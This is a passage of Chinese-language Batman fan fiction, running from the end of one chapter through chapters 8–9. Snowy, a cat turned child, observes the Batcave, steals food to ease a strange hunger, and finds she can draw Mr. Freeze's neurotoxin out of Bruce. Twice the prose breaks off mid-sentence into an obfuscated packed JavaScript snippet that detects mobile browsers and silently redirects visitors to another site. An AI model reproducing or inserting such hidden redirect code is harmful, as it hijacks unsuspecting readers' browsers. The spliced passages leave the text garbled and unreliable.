东区的事件似乎没有立刻引发洞穴内的大规模调动。迪克去了大约两小时后返回,身上带着雨水和一丝淡淡的烟尘气息,但步履轻松,显然任务顺利。他带回了一个纸袋,里面装着一种被称为“吉赛普三明治”的东西,油脂和香料的味道在洞穴干燥的空气里短暂弥漫。他分给了阿尔弗雷德和刚从实验室出来的布鲁斯与达米安,甚至也给斯诺伊切了一小块放在盘子里。斯诺伊谨慎地尝了尝,味道浓烈复杂,她不太适应,但吃完了。 布鲁斯和达米安从实验室出来时,手里拿着一个密封的银色金属管。两人神情专注,低声交换着一些斯诺伊完全听不懂的技术术语。他们将金属管放入主控台旁一个带有低温标识的储存柜,设置了复杂的密码锁。斯诺伊记住了那个柜子的位置和操作的大致顺序,虽然不明白那是什么,但直觉告诉她那很重要,或许是某种“有价值的东西”。 这件事后,洞穴恢复了日常节奏。但斯诺伊能感觉到,一种隐约的紧绷感在空气中持续。布鲁斯查看屏幕的时间增加了,迪克和达米安的外出频率似乎也有细微变化。阿尔弗雷德准备的便携食物和医疗包消耗得更快。 斯诺伊开始有意识地将注意力分配到主控台的屏幕上。她不敢再像上次那样直接触碰操作设备,但她在自己的活动范围内,选择了一个新的、更佳的观察点——饮水槽旁边有一组闲置的服务器机柜,侧面有一定高度,可以让她在不引人注目的情况下,以更好的角度看到部分主屏幕的内容。 她很快发现,屏幕上的信息并非完全无法理解。某些图案反复出现。一个蝙蝠形状的标记,通常出现在地图中心偏北的位置,她猜那是蝙蝠洞或韦恩庄园。一些闪烁的红色或黄色光点,会出现在地图的不同区域,然后移动或消失。有时光点旁边会出现简短的文字,比如“抢劫(进行中)”、“可疑车辆”、“异常热能信号”。布鲁斯或迪克看到这些,会快速操作,调出相应区域的监控画面,或发出指令。 斯诺伊开始建立关联。红色光点通常意味着更紧急的事情,比如“抢劫”或“交火”。黄色可能是需要调查的“可疑”情况。光点的移动速度,大概代表了车辆或人的移动速度。当多个红色光点聚集在同一区域时,洞穴里的人往往会有更快的反应,有时布鲁斯会立刻离开,有时会同时派迪克和达米安出去。 她像学习捕猎时观察草丛晃动和风声一样,学习解读这些光点和符号。她记住了几个反复出现的地名:钻石区(光点多,但颜色杂),上西城(光点少,通常是黄色),犯罪巷(红色光点频繁),码头区(黄色和红色都有)。 她还注意到,屏幕一角总有一个小窗口显示着时间、日期和天气。她学会了看数字时钟,知道了“上午”、“下午”、“夜晚”的大致划分。日期在一天天变化。天气图标有太阳、云朵、雨滴。哥谭下雨很频繁。 这些观察是零碎的,不成系统,但一点一点拼凑出外部世界运行的某种规律。她知道,当夜幕降临,屏幕上的光点开始增多、变色时,洞穴里的人们会进入一种更活跃、更警惕的状态。而当黎明前光点逐渐稀疏,他们才会陆续返回,带着疲惫和有时是新的伤痕。 她自己的语言学习在继续,但节奏被她有意控制。她刻意表现出在某些方面进步缓慢(比如复杂词组的理解),而在另一些方面(比如对简单指令的服从、对危险词汇如“火”、“枪”的反应速度)则表现出稳定进步。她需要维持他们对她“有一定学习能力但核心异常、仍需密切观察”的评估,不能让他们觉得她进步太快或太具目的性。 身体的训练也在暗中进行。她在自己那块小空间里,等没人的时候,练习更快速的起跑、急停、变向。她尝试跳跃,发现这具身体的弹跳力比她预想的要好,虽然远不及猫,但足以让她够到一些不高的壁架。她继续练习平衡,单腿站立的时间越来越长。她还偷偷观察达米安和迪克训练中的呼吸方式,尝试模仿,发现在进行费力动作时控制呼吸确实能节省体力。 一天晚上,布鲁斯和迪克都不在,达米安完成训练后,没有立刻去上层,而是走到主控台前,调出了一份资料仔细查看。他的表情严肃,甚至有点阴沉。 斯诺伊在自己的观察点,一边小口喝水,一边用余光留意。达米安看的似乎不是实时监控,而是某种档案或报告。屏幕上的文字她看不懂,但配有几张照片。照片有些模糊,像是从很远的地方或透过障碍物拍摄的。其中一张照片上,有一个穿着深色长袍、戴着兜帽的高大人影,站在一群看起来像是雇佣兵的人中间。另一张照片似乎是一个古老符号的特写,线条复杂。 达米安盯着那些照片看了很久,手指在桌面上轻轻敲击,那是他思考或烦躁时的习惯动作。最后,他关闭了资料,但斯诺伊注意到他将其加密存入了一个标记为“联盟-待评估”的文件夹。 联盟?斯诺伊默默记下这个词。听起来像是一个群体的名字。能让达米安露出那种表情的,不会是什么好事。 又过了几天,一个雨夜。洞穴里的气氛格外凝重。屏幕上的红色光点比往常要多,而且集中在码头区附近,有几个光点移动轨迹混乱,像是追逐或交战。布鲁斯已经穿着蝙蝠装甲出去了两个小时,迪克也在外协助。达米安留守洞穴,负责通讯协调和信息处理,他不断切换着监控画面,语速很快地与布鲁斯和迪克交换信息。 斯诺伊蜷在自己的毛毯里,看似在休息,耳朵却捕捉着每一句对话。 “……确认是黑面具的走私船,但货物不对,他们在转移别的东西。”迪克的声音夹杂着雨声和风声。 “检测到高强度能量读数,不稳定。”布鲁斯的声音低沉,背景有金属碰撞和重物倒地的声响。 “需要支援吗?”达米安问。 “守住外围,防止增援。夜翼,东侧仓库二楼有狙击手,解决他。” “收到。” 斯诺伊听着,脑海中根据这些碎片信息,结合屏幕上闪烁的光点位置,试图勾勒出码头区的场景:□□,走私,不稳定的能量源,狙击手,战斗。危险,混乱。 突然,一阵尖锐的、不同于往常警报声的蜂鸣从主控台响起。达米安迅速调出一个新的数据窗口,脸色一变。“能量读数急剧攀升!不稳定指数超过阈值!B,夜翼,立刻撤离该区域!可能是生物化学或能量武器泄露!” “正在突破核心舱室……有倒计时!”布鲁斯的声音依然冷静,但语速加快。 “多少秒?” “……十五,十四……” “放弃目标!立刻撤离!”达米安几乎是在吼。 屏幕上一个代表布鲁斯位置的光点开始高速移动,另一个代表迪克的光点也从侧翼向同一方向汇合。码头区那个最初的红点区域,能量读数的曲线疯狂飙升,变成了刺眼的深红色。 “七,六,五……” 洞穴里的空气仿佛凝固了。连机器的嗡鸣声都似乎被这无声的倒数压制。 “四,三……” 斯诺伊不由自主地屏住了呼吸,手指攥紧了毛毯。 “二……” 轰!!! 即使隔着遥远的距离和厚厚的岩层,一声沉闷的、仿佛从地底深处传来的巨响,依然隐隐约约传入了蝙蝠洞。屏幕上的监控画面有几个瞬间变成了雪花点,码头区那个位置的能量读数在峰值后断崖式下跌,归于平静,但周围几个代表生命体征的光点剧烈晃动了几下。 达米安死死盯着屏幕,手指在通讯键上悬停。 几秒后,布鲁斯的声音响起,略微有些喘息,但平稳:“爆炸已发生。能量释放方向向上,主要破坏范围限于目标仓库及相邻水域。没有检测到大规模扩散性污染物。夜翼?” “我没事,被冲击波掀了个跟头,有点耳鸣。”迪克的声音传来,带着点苦笑,“目标船体部分损毁,黑面具的人撤了,但货物……估计没了。” “优先清理现场痕迹,防止二次灾害。罗宾,继续监控该区域辐射及环境指标。” “明白。” 危机似乎解除了。达米安紧绷的肩膀稍微放松,开始快速操作屏幕,调取环境监测数据。 斯诺伊也慢慢松开了抓着毛毯的手。刚才那一刻,她似乎又感受到了那种熟悉的、面对不可抗力的渺小感,就像被枪击中的瞬间。但这一次,她是旁观者。她看到这些强大的两脚兽也会面临致命的危险,需要协作,会紧张,会受伤。 他们并非全知全能。这个认知,微妙地改变了斯诺伊对他们的看法。他们依然是观察者、控制者,但他们也是身处危险之中的个体。这种认知并没有带来亲近感,反而让她更加清醒地意识到这个世界的危险性——连他们都需要如此谨慎应对。 后半夜,布鲁斯和迪克陆续返回。两人的制服都有不同程度的破损和污渍,迪克的额角有一道浅浅的擦伤,布鲁斯的行动似乎比平时慢了半拍,可能受了些内伤或撞击。阿尔弗雷德早已准备好医疗用品和热饮。 斯诺伊在他们回来时就醒了,但她没有动,只是从毛毯边缘观察。她看到阿尔弗雷德熟练地为迪克清洗伤口、贴上敷料,看到布鲁斯沉默地脱下部分装甲,露出下面被汗水浸湿和可能淤青的身体,接过阿尔弗雷德递来的药片和水吞下。没有人多说废话,只有必要的最低限度交流。 他们疲惫,但动作依旧有条不紊。这是一种经历过无数次类似场面后的常态。 布鲁斯在处理完伤口后,并没有立刻休息,而是走到主控台前,开始调取爆炸前后的详细数据,回放监控录像。迪克也凑过去,两人低声讨论着什么。 “能量释放模式不像已知的化学炸药或核材料。” “更像某种高浓度生物能量电池的失控反应。黑面具从哪里搞到这种东西?” “需要追查源头。现场残留物分析明天能出初步结果。” 斯诺伊听着,虽然不懂具体内容,但明白事情还没结束。那个“不稳定的能量源”是什么,从哪里来,为什么会在黑面具手里,这些问题悬而未决。 她又想起达米安之前看过的那些照片,那个“联盟-待评估”的文件夹。这两者之间有关联吗?她不知道。但一种直觉告诉她,哥谭的水面下,有更深的暗流在涌动。而蝙蝠洞,正位于这些暗流的中心。 这次事件之后,斯诺伊观察屏幕时,多了一份新的关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081294|195324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注点。她开始留意那些可能与“异常能量”、“不明货物”、“神秘势力”相关的报告或光点提示。虽然大部分时候她看不懂具体内容,但她能感觉到,布鲁斯他们对这类信息的关注度明显更高,分析时间也更长。 她的逃跑计划似乎因此变得更加遥远和复杂。外部世界不仅充满随机暴力(像击中她的流弹),还有这种有计划、有组织的危险,涉及她完全无法理解的力量。盲目跑出去,生存几率可能比待在蝙蝠洞里当“标本”还要低。 矛盾感再次困扰着她。一边是对自由和脱离监控的渴望,一边是对外部未知危险的清醒认知。蝙蝠洞提供安全和基本生存保障,但代价是自由和尊严。外面可能有自由,但更可能有即刻的死亡。 她需要更多的筹码。不仅仅是了解门禁和外部事件规律,她可能需要……力量。不是指蛮力,而是指在这个危险世界里生存下去的能力,保护自己的能力,甚至可能……影响微小局面的能力。 她的目光,不由自主地落在了自己的手上。这双手曾经是毛茸茸的爪子,可以无声潜行,可以精准扑击,可以牢牢抓住猎物或攀上高处。现在这双手很弱小,很笨拙。但她的愈合能力异常。她的感官在适应后似乎比普通人类更敏锐。她的学习速度……她在进步。 自然之力赋予她的,难道仅仅是一具脆弱的人类孩童身躯和快速愈合吗?那股将她从猫变成人的、汹涌的生命能量,是否还留下了别的什么? 她回忆起森林里等待死亡时的感觉,那种感知向四周弥散、与树木土壤流水共鸣的感觉。在这里,在这个人造的、封闭的岩石洞穴里,她还能感觉到那种联系吗? 她闭上眼睛,尝试像那时一样,放松身体,将注意力从视觉和听觉上移开,转向更模糊的“感觉”。 起初,只有冰冷的石壁触感,毛毯的纤维,空气的干燥。机器的嗡鸣顽固地占据着听觉背景。 她耐心地等待,呼吸放缓。 渐渐地,一些极其微弱的感觉浮了上来。脚下深处,似乎有极其缓慢的水流脉动,非常深,非常遥远。头顶的岩层之外,是泥土的厚重,再往上……是雨水的湿润渗透,是植物根系细微的伸展(庄园的花园?)。但这些感觉太模糊了,像隔了无数层毛玻璃。 然后,她感觉到一点不同的东西。就在洞穴里,离她不远处。一种微弱的、跳动的、温暖的生命感。很小,很胆怯。 她睁开眼,目光扫视。最后落在主控台下方,一个电源线路汇聚的角落阴影里。那里似乎有什么东西。 她悄无声息地滑下观察点,像猫一样匍匐靠近。她的动作很慢,尽量不引起远处还在分析数据的布鲁斯和迪克的注意。 靠近了,她才看清。那是一只很小的老鼠,灰扑扑的,缩在电缆和墙壁的缝隙里,瑟瑟发抖,黑豆似的眼睛充满恐惧地看着她。它的一条后腿似乎受了伤,姿势别扭。 蝙蝠洞里怎么会有老鼠?可能是从某个通风管道或缝隙钻进来的。 斯诺伊蹲在老鼠面前,没有伸手去抓。她只是看着它,然后,再次尝试调动那种模糊的感觉。不是用眼睛看,不是用耳朵听,而是去“感受”这个小生命的存在,它的恐惧,它的疼痛。 很奇妙地,当她的注意力完全集中在老鼠身上时,那种微弱的、温暖的生命感变得清晰了一些。她甚至能模糊地“感觉”到它后腿肌肉的痉挛和刺痛。 她伸出手,手指悬在老鼠上方,没有触碰。她集中精神,想象着森林里那种生命能量流动的感觉,想象着愈合自己伤口时的那种暖意,尝试着将一丝极其微弱的意念投向那只受伤的老鼠。 什么也没发生。老鼠依旧惊恐地看着她,瑟瑟发抖。 斯诺伊没有气馁。她知道这很难,也许根本不可能。她只是保持着那个姿势,静静地“感受”着这个小生命的存在,没有任何威胁的意图。 过了一会儿,或许是觉得她没有危险,老鼠的颤抖稍微减轻了一点,但依旧警惕。 斯诺伊收回手,慢慢后退,离开了那个角落。她没有能力帮助它,至少现在没有。但这次尝试,让她意识到一件事:那种与生命连接的感觉,并非完全消失。它还在,只是非常微弱,需要极度的专注和安静才能触及。 这是一个线索,一个方向。她的“异常”或许不止于愈合。 她回到自己的毛毯处,重新裹好。远处,布鲁斯和迪克结束了讨论,各自去休息或处理个人事务。洞穴渐渐安静下来。 斯诺伊看着阴影角落里那个看不见的小生命,又看看主控台上依旧闪烁的、代表着哥谭夜晚无数危险与秘密的光点。 光点与暗流交织。而她,这个困在巨大观察箱中的异常存在,正在黑暗中,极其缓慢地,摸索着自己可能拥有的、尚未知晓的微光。 前路依然迷雾重重,但至少,她不再仅仅是被观察的数据点。她开始观察观察者,学习系统的规则,甚至尝试触碰自身存在更深层的谜团。 沉睡的猫的灵魂,在人类孩童的躯壳里,正一点一点,睁开她洞察环境的眼睛,并开始探寻自身力量的轮廓。风暴或许还未降临哥谭,但蝙蝠洞深处的涟漪,已悄然扩散。 8. 第八章 码头区爆炸事件的余波持续了几天。布鲁斯和迪克投入了大量时间分析残留物数据、追查走私网络。达米安则加强了对哥谭地下世界异常交易情报的筛选。洞穴里的空气仿佛被无形的弦绷紧,连阿尔弗雷德走路的步伐都似乎比平时更轻、更快。 斯诺伊的观察和学习也在继续。她对主控台屏幕上信息的解读能力在缓慢提升。她学会了分辨不同类型的警报优先级颜色,从高到低大概是深红、红、橙、黄、绿。她发现代表蝙蝠侠、夜翼、罗宾的追踪符号形状略有不同,便于区分。她还注意到,当地图上出现一种特殊的紫色标记(通常是静止的),布鲁斯会格外关注,调取更详细的档案和历史记录查看。 这些紫色标记旁边有时会标注缩写,比如“J”(小丑?)、“IVY”(毒藤女?)、“FZ”(急冻人?)。斯诺伊默默记住这些符号和可能关联的名字,虽然她并不完全理解它们代表的具体危险,但知道它们意味着“麻烦”。 她的语言词汇量在迪克的耐心(以及她自己的策略性配合)下缓慢增长。她开始能听懂更多日常指令和简单描述,也能用更清晰的单字或短词回应,比如“饿”、“水”、“冷”、“这里”。她依旧避免说复杂句子,保持“学习缓慢但持续”的表象。 身体的协调性进步明显。她走路已经相当平稳,甚至可以小跑而不容易摔倒。她私下练习的跳跃高度足以让她够到一些较低的壁架和管道。平衡感越来越好,她能在狭窄的边缘行走数米。这些进步她没有刻意隐藏,但只在独自一人或被认为“玩耍”时才表现出来。 真正困扰她的,是一种新的、日益强烈的感觉:饥饿。 不是普通的进食需求,而是一种深层的、仿佛从每个细胞里透出来的渴求,对能量的渴求。肩膀伤口完全愈合后,这种饥饿感最初只是饭后不久又隐约浮现,她以为是活动增加导致的。但随着时间的推移,它出现得越来越频繁,越来越难以忽视。 尤其是当她集中精神尝试去“感受”周围环境,或者模仿一些较费力动作后,饥饿感会像潮水般涌来,伴随着一阵短暂的虚弱和头晕。她需要立刻摄入食物,而且是大量的、富含热量的食物,才能稍微缓解。 阿尔弗雷德提供的三餐和点心是定量的,营养均衡但热量对于普通孩童足够,对她却渐渐显得杯水车薪。她开始留意阿尔弗雷德存放补给品的地方,记住他补充食物的时间。有时她会趁着阿尔弗雷德暂时离开,或其他人注意力在别处时,快速溜到存放区,多拿一个能量棒或一包坚果,藏在自己的毛毯或衣服里,等到饥饿感袭来时偷偷吃掉。 第一次这么做时,她紧张得心跳如鼓,耳朵竖着听周围的动静。但没有人发现,或者说,监控可能记录到了,但没人立刻过来质询。或许他们认为一个正在长身体(虽然他们知道她并非普通孩童)的孩子多吃一点无伤大雅。 但她的胃口增长幅度远超预期。几天后,偷偷多拿的食物也不够了。饥饿感开始影响她的状态,让她注意力难以集中,身体感到持续乏力和微颤。她需要更多。 一天下午,迪克在训练区做恢复性练习,达米安在主控台前分析情报,阿尔弗雷德在上层。斯诺伊的饥饿感再次袭来,比之前更强烈。她感到手心冒汗,视线边缘有点发花。存放区的常规食物已经拿过,不能再频繁动手,风险太大。 她的目光扫视洞穴,落在那辆黑色的蝙蝠车上。她记得有时迪克或布鲁斯会在车上放一些应急口粮或功能饮料。车就停在离她不远的维修区。 她犹豫了一下。靠近蝙蝠车是明确的禁忌,比拿食物更甚。但她此刻的饥饿感几乎成为一种疼痛,驱动着她。 她看了看主控台方向,达米安全神贯注盯着屏幕,手指快速敲击键盘。训练区,迪克背对着她,在瑜伽垫上做拉伸。 机会。 她像一道影子,贴着石壁和设备的阴影,悄无声息地移动到蝙蝠车侧面。车门紧闭,但她记得有一次迪克从车尾一个不起眼的储物格里取过水。她绕到车尾,那里果然有一个小小的、带有隐蔽开关的凹槽。 她用指甲小心地抠开凹槽盖,里面空间不大,放着两包高密度压缩口粮和两罐银色包装的功能饮料。口粮包装是深灰色的,没有任何标记。她迅速抓起一包口粮和一罐饮料,塞进自己过于宽大的上衣里,然后将凹槽盖恢复原状。 整个过程不到十秒。 她退回到阴影中,迅速离开蝙蝠车区域,回到自己的角落。心脏在胸腔里狂跳,不是因为运动,而是因为冒险和可能被发现的紧张。 她背对着洞穴中心,用毛毯做掩护,撕开压缩口粮的包装。里面的东西是深褐色的块状物,质地紧密,几乎没什么气味。她咬了一小口。味道非常平淡,略带咸味和某种谷物的味道,不难吃,但绝对称不上美味。她强迫自己快速咀嚼咽下。一块口粮下肚,那种火烧火燎的饥饿感稍微平息了一点,但虚弱感仍在。 她又打开功能饮料,小口喝下。液体是透明的,有点甜,带着一股奇怪的、类似金属的味道。喝完后,一股暖流从胃部扩散开,乏力感减轻了一些。 有效。但远远不够。而且风险极高。 接下来的几天,饥饿的阴影如同跗骨之蛆,紧紧跟随着她。她变得更加沉默,活动时也显得有气无力,这倒符合她“语言障碍、行为异常”的形象,没有引起额外怀疑。但只有她自己知道,那种对能量的渴望正在侵蚀她的理智。 她开始更仔细地观察洞穴内的能量来源。主控台的电力?不行。蝙蝠车的能源?不可能触及。那些训练器械?或许有可转换的生物动能,但她不知道怎么利用。 她再次尝试调动那种与生命连接的感觉,希望能从环境中汲取些什么。但除了能更清晰地感知到那只受伤老鼠(它还活着,伤口似乎没有恶化,但也没好)的存在和微弱情绪外,对无机物或纯粹的能量毫无反应。自然之力似乎更偏向于生命体之间的共鸣,而非直接的能量抽取。 绝望感开始滋生。难道她要被这种诡异的饥饿感困死在这里?或者,因为偷窃食物而被发现,然后面临更严格的监控甚至……处理? 转机出现在一个意想不到的时刻。 那天晚上,布鲁斯夜巡归来,比平时更早,而且身上没有明显的打斗痕迹。但他的气息不同。斯诺伊能闻到一种极淡的、冰冷的、类似薄荷又混合着某种化学制剂的味道,从他装甲的缝隙里飘散出来。他的动作也比平时稍微滞涩一点,似乎受了某种不流血的伤。 阿尔弗雷德立刻迎上去,低声询问。布鲁斯简短回答:“急冻人。新型冷冻射线试验场。微量神经毒素扩散,已注射中和剂。需要代谢。” 急冻人。斯诺伊记住了这个名字。屏幕上的“FZ”。与寒冷相关。 布鲁斯脱下部分装甲,坐在医疗椅上,阿尔弗雷德为他进行进一步检查和输液。达米安和迪克也在洞穴里,围在旁边,神情严肃。 “毒素成分分析出来了吗?”迪克问。 “初步结果显示,混合了新型低温催化剂和一种生物碱衍生物,主要攻击末梢神经和运动中枢,导致反应迟缓和体温调节紊乱。”阿尔弗雷德一边操作仪器一边说,“中和剂能阻止进一步损害,但代谢残留毒素需要时间,大约六到八小时。这段时间内,老爷的反应速度和抗寒能力会显著下降。” “哥谭今晚气温会降到零下三度,加上风寒效应。”达米安看着天气数据,“如果他必须再次出动……” “我会调整巡逻路线,避开高寒区域。”布鲁斯的声音有些低沉,带着疲惫,“夜翼,罗宾,你们需要覆盖东区和码头区的常规巡视。” “明白。” “您的体温正在缓慢下降,”阿尔弗雷德看着监测数据,“建议使用主动加温设备辅助代谢。” “不用,节省能源。我能适应。”布鲁斯拒绝了,他试图站起来,但动作明显比平时慢了一拍。 斯诺伊在角落看着这一切。她不太理解神经毒素和代谢的具体含义,但她能看懂:布鲁斯受伤了,是那种不流血但让他变弱、怕冷的伤。他现在很虚弱,比平时脆弱。 她本该感到某种机会——守卫者变弱了。但此刻,一种更强烈的冲动压倒了她。 她感觉到了“冷”。不是气温的冷,而是从布鲁斯身上散发出的、一种不正常的、深入骨髓的寒意。这种寒意,与她记忆中森林里那种纯净的、属于自然的冰冷不同,它带着一种……死寂的、破坏性的感觉。它正在侵蚀布鲁斯的生命力,让他的生命之火变得黯淡、摇曳。 而她,对生命能量有一种模糊的感应和渴望。 饥饿感在此刻蠢蠢欲动,但对象似乎发生了偏移。不再是单纯对食物的渴求,而是对那种正在流失的、被污染的“生命力”的某种……排斥?不,不仅仅是排斥,还有一种更原始的本能反应。 她不由自主地站起身,朝医疗区走去。她的动作很轻,但在这个注意力集中在布鲁斯身上的时刻,依然引起了注意。 达米安第一个转头看她,眼神警惕。“退后。” 斯诺伊停下脚步,没有理会达米安,目光落在布鲁斯身上。布鲁斯也抬眼看向她,他的眼睛在面具下显得格外幽深,带着审视和一丝不易察觉的探究。他似乎想看看她要做什么。 斯诺伊指了指布鲁斯,然后用手臂抱住自己,做出一个冷的动作,脸上露出困惑和一点点关切(她努力模仿曾经见过的人类表情)。 “她感觉到温度变化了?”迪克有些惊讶,“这里的恒温系统没有改变。” “可能对生命体征变化敏感。”阿尔弗雷德猜测。 斯诺伊又向前走了一小步。达米安的手按在了刀柄上,但布鲁斯微微摇了摇头。 斯诺伊走到距离布鲁斯大约两米的地方,再次停下。她闭上眼睛,深吸一口气,努力屏蔽掉洞穴里其他的气味和声音,将全部注意力集中在布鲁斯身上,集中在他散发出的那股异常寒意和略显紊乱的生命气息上。 这一次,感受比面对老鼠时清晰得多。她能“感觉”到那股寒意像细微的冰针,附着在布鲁斯的神经系统和肌体深处,阻碍着能量的正常流动,让他的生命之火像是被冻住的火苗,艰难地燃烧。同时,她也能感觉到布鲁斯自身强大的意志力和生命力在顽强地抵抗、代谢这些冰针。 她的饥饿感再次涌现,但这次,不是指向食物,而是……指向那些冰针?指向那股阻碍生命流动的“死寂”? 一个大胆的、近乎荒谬的念头在她心中升起。 她抬起手,不是要去触碰布鲁斯,而是掌心朝向他的方向,悬在空中。她集中精神,不再试图“给予”或“连接”,而是尝试着去“吸引”,去“捕捉”那些让她感到不适的、破坏性的寒意。 想象自己是一块磁铁,专门吸引那些冰冷的、不和谐的碎片。 起初,什么也没发生。只有医疗仪器的滴答声和洞穴的背景音。 达米安已经快要失去耐心了。迪克和阿尔弗雷德也疑惑地看着。 但布鲁斯没有动。他依旧看着斯诺伊,面具下的眉头微微皱起。他感觉到什么?一种极其微弱的、难以言喻的……拉扯感?从他身体的深处,从那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081295|195324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被毒素侵蚀的区域? 斯诺伊的额头渗出细密的汗珠。这比她想象的要困难得多,消耗也大得多。她感到自己的能量在快速流失,饥饿感更甚。但她咬牙坚持,将全部意念灌注在那个简单的目标上:吸引那些坏掉的冰冷碎片。 时间仿佛过得很慢。 然后,布鲁斯忽然轻微地颤抖了一下,不是寒冷,而是一种奇异的、仿佛有什么东西被抽离的感觉。他感觉到附着在神经末梢的一些冰冷滞涩感,似乎……松动了一点? 几乎同时,斯诺伊闷哼一声,踉跄着后退了一步,脸色瞬间变得苍白,身体晃了晃,差点摔倒。迪克眼疾手快扶住了她。 “怎么回事?”达米安厉声问。 斯诺伊靠在迪克手臂上,大口喘着气,额头的汗更多了,眼神有些涣散。她感到一阵强烈的眩晕和空虚,比之前任何一次饥饿都要严重。但同时,她掌心的皮肤,传来一种极其短暂、几乎无法察觉的、冰凉的刺痛感,转瞬即逝。 阿尔弗雷德迅速检查了布鲁斯的生命体征。“老爷,您的心率和体温有轻微回升趋势。神经反应测试数据显示,毒素代谢速度……加快了约百分之十五?”他的声音带着难以置信的惊讶。 布鲁斯活动了一下手指,确实感觉比刚才灵活了一丝,虽然变化极其微小,但对他这种对身体控制达到极致的人来说,足以察觉。 他看向被迪克扶着、脸色苍白的斯诺伊。她的状态明显变差,像是能量透支。 “扫描她。”布鲁斯的声音低沉。 阿尔弗雷德立刻拿来便携扫描仪,对着斯诺伊快速检查。“生命体征显示能量水平急剧下降,类似低血糖和轻微脱水的复合症状,但无器质性损伤。需要立刻补充水分和易吸收的糖分、电解质。” 迪克马上拿来功能饮料和能量凝胶,小心地喂给斯诺伊。斯诺伊几乎是贪婪地吞咽着,随着糖分和液体摄入,苍白的脸色慢慢恢复了一点血色,但依旧显得虚弱。 “她做了什么?”达米安盯着斯诺伊,眼神复杂。 “不清楚。”布鲁斯缓缓地说,他感受着体内那细微的变化,“似乎……加速了毒素残渣的代谢过程,通过某种未知的途径。代价是她自身的能量消耗。” “吸收?转化?还是单纯的‘驱散’?”迪克扶着斯诺伊坐好。 “需要更多数据。但她的能力显然不止于快速愈合。”布鲁斯看着监控屏幕上刚刚记录下的斯诺伊生理数据波动曲线,在某个时间点出现了异常的尖峰和陡降,与他体内毒素代谢速率变化的拐点几乎同步。“这解释了她异常的能量需求。使用这种能力消耗巨大。” 斯诺伊喝完了饮料,吃掉了能量凝胶,虚脱感稍微缓解,但精神依旧疲惫。她能感觉到布鲁斯身上的那股寒意减弱了一丝,虽然还是很明显,但不再那么……“扎人”了。同时,她自己也像是跑了一场极其漫长的马拉松,每个细胞都在叫嚣着需要休息和补充。 她抬起头,看向布鲁斯。布鲁斯也正在看着她。两人目光接触。斯诺伊的眼神里没有得意,也没有讨好,只有疲惫和一丝尚未完全消退的、对于刚才那种“吸引”过程的困惑。 布鲁斯的目光则更加深邃。评估,计算,重新调整对这个“异常存在”的威胁等级和潜在价值的判断。 她不是武器,至少目前看来不是。但她也并非无害。她的能力带有强烈的双向性——既能影响外界(即使是微小的影响),也对自身造成巨大负担。这种负担表现为难以满足的能量需求,也就是她最近日益严重的“饥饿”。 如果这种能力可以定向、可控,或许……但在那之前,她首先需要稳定的、充足的能量来源,否则能力的使用只会让她自己陷入危机。 “阿尔弗雷德,”布鲁斯开口,“调整她的饮食配给。增加高蛋白、高热量食物的比例和频率。确保随时有快速补充能量的物资可用。” “明白,老爷。” “另外,”布鲁斯停顿了一下,“在医疗区附近,为她设置一个临时的固定休息点。配备基础监测。她需要更稳定的环境恢复。” 这意味着她可以离开那个冰冷的岩石凸起角落,拥有一个更正式、更舒适的“位置”。这算是一种认可?还是为了更方便的监控和研究? 斯诺伊不在乎动机。她只知道,她可能找到了缓解那可怕饥饿感的方法——不是通过无限度的偷窃,而是通过展示“价值”,换取稳定的供给。同时,她也隐约触碰到了自己能力的一角,虽然代价巨大,过程懵懂。 更重要的是,通过这次事件,她与这些观察者之间的关系,发生了微妙的、实质性的变化。她不再仅仅是一个被动的、需要破解的谜题或潜在的威胁。她成为了一个能够(在特定条件下)产生影响的变量,一个需要被重新评估和“管理”的资源。 饥饿的阴影暂时被驱散了一些,但取而代之的,是一种新的、更为复杂的处境。她获得了更好的生存条件,却也更深地嵌入了这个系统的内部,暴露了更多自身的秘密。 斯诺伊被迪克扶着,走向医疗区旁边新为她准备的、带软垫和薄毯的简易床铺。她躺下,疲惫立刻淹没了她。在陷入沉睡之前,她最后看了一眼主控台的方向。 屏幕上,哥谭的夜景依旧,光点闪烁。但斯诺伊知道,从这一刻起,她与这个巨大城市、与这座洞穴、与这些穿着披风与铠甲的人们之间的联系,已经变得更加紧密,也更加难以预料了。 微光不再是潜在的希望,它已经开始燃烧,带着不确定的温度和代价。而哥谭的夜晚,从不缺少吞噬光亮的黑暗。 9. 第九章 医疗区旁边的临时床铺比岩石凸起舒适太多。垫子柔软,毯子厚实干净,旁边还有一个可调节亮度的小夜灯,以及一个触手可及的、装满水和能量棒的收纳盒。阿尔弗雷德为她准备了几套更合身、质地也更柔软的衣物,不再是那件过于宽大的灰色连体衣。 这些都是可见的变化。更深层的变化在于洞穴里的气氛。达米安看她时,眼神里的审视依旧,但多了一丝不得不承认的“有用性”评估。迪克的态度更加温和,有时会带来一些新的“玩具”或简单的图画书,尝试用更丰富的方式与她互动,似乎想探索她除了“能力”之外的其他认知层面。阿尔弗雷德的照料一如既往的周全,但斯诺伊能感觉到,他看她的目光里,多了一分不易察觉的、类似对待庄园里需要特别关照的小动物般的谨慎关怀。 